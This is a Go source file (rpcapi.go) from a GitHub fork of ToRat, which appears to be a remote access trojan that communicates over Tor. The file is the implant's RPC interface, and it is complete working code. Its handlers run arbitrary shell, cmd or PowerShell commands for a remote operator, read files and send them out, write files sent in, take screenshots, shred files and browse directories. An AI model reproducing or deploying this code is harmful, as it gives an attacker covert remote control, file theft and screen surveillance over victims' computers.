forked from lu4p/ToRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrpcapi.go
133 lines (115 loc) · 2.47 KB
/
rpcapi.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
package client
import (
"errors"
"io/ioutil"
"net"
"net/rpc"
"os"
"os/exec"
"path/filepath"
"reflect"
"runtime"
"github.com/lu4p/ToRat/models"
"github.com/lu4p/ToRat/torat_client/crypto"
"github.com/lu4p/ToRat/torat_client/screen"
"github.com/lu4p/cat"
)
//API functions have this type
type API int
func (a *API) Shred(s *models.Shred, r *models.Void) error {
return s.Conf.Path(s.Path)
}
func (a *API) Hostname(v models.Void, r *[]byte) error {
*r = crypto.GetHostname(HostnamePath, ServerPubKey)
return nil
}
func (a *API) RunCmd(cmd models.Cmd, r *string) error {
var osshell string
if cmd.Cmd == "" {
return errors.New("No command to execute")
}
var osshellargs []string
if runtime.GOOS == "linux" {
osshell = "/bin/sh"
osshellargs = []string{"-c", cmd.Cmd}
} else if runtime.GOOS == "windows" {
if cmd.Powershell {
osshell = "powershell"
osshellargs = []string{"-Command", cmd.Cmd}
} else {
osshell = "cmd"
osshellargs = []string{"/C", cmd.Cmd}
}
} else if runtime.GOOS == "darwin" {
// TODO: Add right strings for Mac OSX
osshell = ""
osshellargs = []string{"", cmd.Cmd}
}
execcmd := exec.Command(osshell, osshellargs...)
cmdout, err := execcmd.Output()
if err != nil {
return err
}
*r = string(cmdout)
return nil
}
func (a *API) SendFile(path string, r *models.File) error {
content, err := ioutil.ReadFile(path)
if err != nil {
return err
}
r.Path = path
r.Content = content
return nil
}
func (a *API) RecvFile(f models.File, r *models.Void) error {
return ioutil.WriteFile(f.Path, f.Content, f.Perm)
}
func (a *API) LS(v models.Void, r *models.Dir) (err error) {
r.Files, err = filepath.Glob("*")
if err != nil {
return
}
r.Path, err = os.Getwd()
return
}
func (a *API) Ping(v models.Void, r *string) error {
*r = "Pong"
return nil
}
func (a *API) Screen(v models.Void, r *[]byte) error {
*r = screen.Take()
return nil
}
func (a *API) Reconnect(v models.Void, r *bool) error {
//TODO implement
return nil
}
func (a *API) Cat(path string, r *string) error {
txt, err := cat.File(path)
if err != nil {
return err
}
*r = txt
return nil
}
func (a *API) Cd(path string, r *models.Dir) (err error) {
err = os.Chdir(path)
if err != nil {
return err
}
cwd, err := os.Getwd()
if err != nil {
return err
}
r.Path = cwd
r.Files, err = filepath.Glob("*")
return err
}
// Make sure API is never garbled.
var _ = reflect.TypeOf(API(0))
func RPC(c net.Conn) {
api := new(API)
rpc.Register(api)
rpc.ServeConn(c)
}